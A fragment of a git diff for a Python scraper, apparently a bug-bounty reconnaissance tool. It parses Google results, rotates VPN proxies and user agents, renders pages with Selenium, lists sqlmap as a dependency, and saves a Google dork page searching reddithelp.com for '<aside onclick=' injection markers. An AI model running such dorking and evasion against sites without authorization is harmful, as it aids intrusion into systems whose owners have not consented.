with specific class) + title_tag = a_tag.find("h3") or a_tag.find( + "div", class_="BNeawe vvjwJb AP7Wnd UwRFLe" + ) + title = title_tag.get_text() if title_tag else None + if title: + cprint( + f"Link appended to potential urls: {url}", + "green", + file=sys.stderr, + ) + urls.append(url) + else: + pass + else: + for result in result_block: + # Find link, title, description + link = result.find("a", href=True) + title = result.find("h3") + description_box = result.find("div", {"style": "-webkit-line-clamp:2"}) + if description_box: + description = description_box.text + if link and title and description: + cprint( + f"Link appended to potential urls: {link['href']}", + "green", + file=sys.stderr, + ) + if advanced: + urls.append(SearchResult(link["href"], title.text, description)) + else: + urls.append(link["href"]) + cprint( + f"Done parsing search results - {len(urls)} potential new links", + "green", + file=sys.stderr, + ) + return urls + + +def fetch_html_content(url, config, proxy=None, headers=None): """ Fetch the HTML content of a given URL. @@ -33,8 +129,9 @@ def fetch_html_content(url, proxy=None, headers=None): """ try: cprint(f"Fetching {url}", color="yellow", file=sys.stderr) - if "username:password" in proxy: - nord_vpn_user_pass = random.choice(nord_vpn_login) + if proxy and "username:password" in proxy: + print(f"logins :{json.loads(config['nord_vpn_login'])}") + nord_vpn_user_pass = random.choice(json.loads(config["nord_vpn_login"])) proxy = proxy.replace("username", nord_vpn_user_pass[0]).replace( "password", nord_vpn_user_pass[1] ) @@ -42,16 +139,19 @@ def fetch_html_content(url, proxy=None, headers=None): secured = True else: proxies = {"http": proxy, "https": proxy} - headers = {"User-Agent": random.choice(USER_AGENTS)} + headers = { + "User-Agent": random.choice(USER_AGENTS), + "X-HackerOne-Research": "elniak", + } response = requests.Session().get( url, proxies=proxies, headers=headers, verify=secured, allow_redirects=True, - timeout=REQUEST_DELAY, + timeout=config["request_delay"], ) - delay = random.uniform(CURRENT_DELAY - 5, CURRENT_DELAY + 5) + delay = random.uniform(config["current_delay"] - 5, config["current_delay"] + 5) time.sleep(delay) # Wait before retrying return response.text except requests.exceptions.ProxyError as e: @@ -60,7 +160,7 @@ def fetch_html_content(url, proxy=None, headers=None): "red", file=sys.stderr, ) - delay = random.uniform(CURRENT_DELAY - 2, CURRENT_DELAY + 2) + delay = random.uniform(config["current_delay"] - 2, config["current_delay"] + 2) time.sleep(delay) # Wait before retrying # TODO add backoff timer for delay ? return None @@ -70,7 +170,7 @@ def fetch_html_content(url, proxy=None, headers=None): "red", file=sys.stderr, ) - delay = random.uniform(CURRENT_DELAY - 5, CURRENT_DELAY + 5) + delay = random.uniform(config["current_delay"] - 5, config["current_delay"] + 5) time.sleep(delay) # Wait before retrying return None @@ -115,7 +215,7 @@ def extract_links(html_content, base_url): return links -def render_js_and_extract_links(url, html_content_get): +def render_js_and_get_text(url, proxy=None): """ Use Selenium to render JavaScript and extract links. @@ -126,16 +226,55 @@ def render_js_and_extract_links(url, html_content_get): list: List of absolute URLs found in the rendered HTML. """ cprint(f"Rendering JavaScript for {url}", color="yellow", file=sys.stderr) - options = Options() - options.headless = True - # service=Service('/path/to/chromedriver'), - driver = webdriver.Chrome(options=options) - driver.get(url) - WebDriverWait(driver, 10).until( - EC.presence_of_element_located((By.TAG_NAME, "body")) - ) - html_content = driver.page_source - driver.quit() + try: + options = Options() + options.headless = True + if proxy: + options.add_argument(f"--proxy-server={proxy}") + # service=Service('/path/to/chromedriver'), + driver = webdriver.Chrome(options=options) + driver.get(url) + WebDriverWait(driver, 10).until( + EC.presence_of_element_located((By.TAG_NAME, "body")) + ) + html_content = driver.page_source + driver.quit() + except Exception as e: + cprint(f"Error rendering JS for {url}: {e}", color="red", file=sys.stderr) + # return [] + html_content = "" + finally: + return html_content + + +def render_js_and_extract_links(url, html_content_get, proxy=None): + """ + Use Selenium to render JavaScript and extract links. + + Args: + url (str): URL of the page to scrape. + + Returns: + list: List of absolute URLs found in the rendered HTML. + """ + cprint(f"Rendering JavaScript for {url}", color="yellow", file=sys.stderr) + try: + options = Options() + options.headless = True + if proxy: + options.add_argument(f"--proxy-server={proxy}") + # service=Service('/path/to/chromedriver'), + driver = webdriver.Chrome(options=options) + driver.get(url) + WebDriverWait(driver, 10).until( + EC.presence_of_element_located((By.TAG_NAME, "body")) + ) + html_content = driver.page_source + driver.quit() + except Exception as e: + cprint(f"Error rendering JS for {url}: {e}", color="red", file=sys.stderr) + # return [] + html_content = "" return extract_links(html_content, url) + extract_links(html_content_get, url) @@ -153,7 +292,7 @@ def scrape_links_from_url(url, proxy=None, headers=None): cprint(f"Scraping links from {url}", color="yellow", file=sys.stderr) html_content = fetch_html_content(url, proxy=proxy, headers=headers) if html_content: - return render_js_and_extract_links(url, html_content) + return render_js_and_extract_links(url, html_content, proxy=proxy) return [] diff --git a/requirements.txt b/requirements.txt index e9442ec..4c0db30 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,3 +6,4 @@ webdriver_manager sqlmap eventlet free-proxy +selenium-wire \ No newline at end of file diff --git a/test.html b/test.html index e69de29..0bd0121 100644 --- a/test.html +++ b/test.html @@ -0,0 +1,318 @@ +(site:reddithelp.com) & + (inurl:"<aside onclick=" | intext:"<aside onclick=" | ) - + Google Search

Filters + and topics

All

Search + Results

Your + search - (site:reddithelp.com) & + (inurl:"<aside onclick=" | + intext:"<aside onclick=" | + ) - did not match any + documents.

Suggestions:

  • Make sure that all + words are spelled correctly.
  • Try + different keywords.
  • Try more general + keywords.
  • Try fewer + keywords.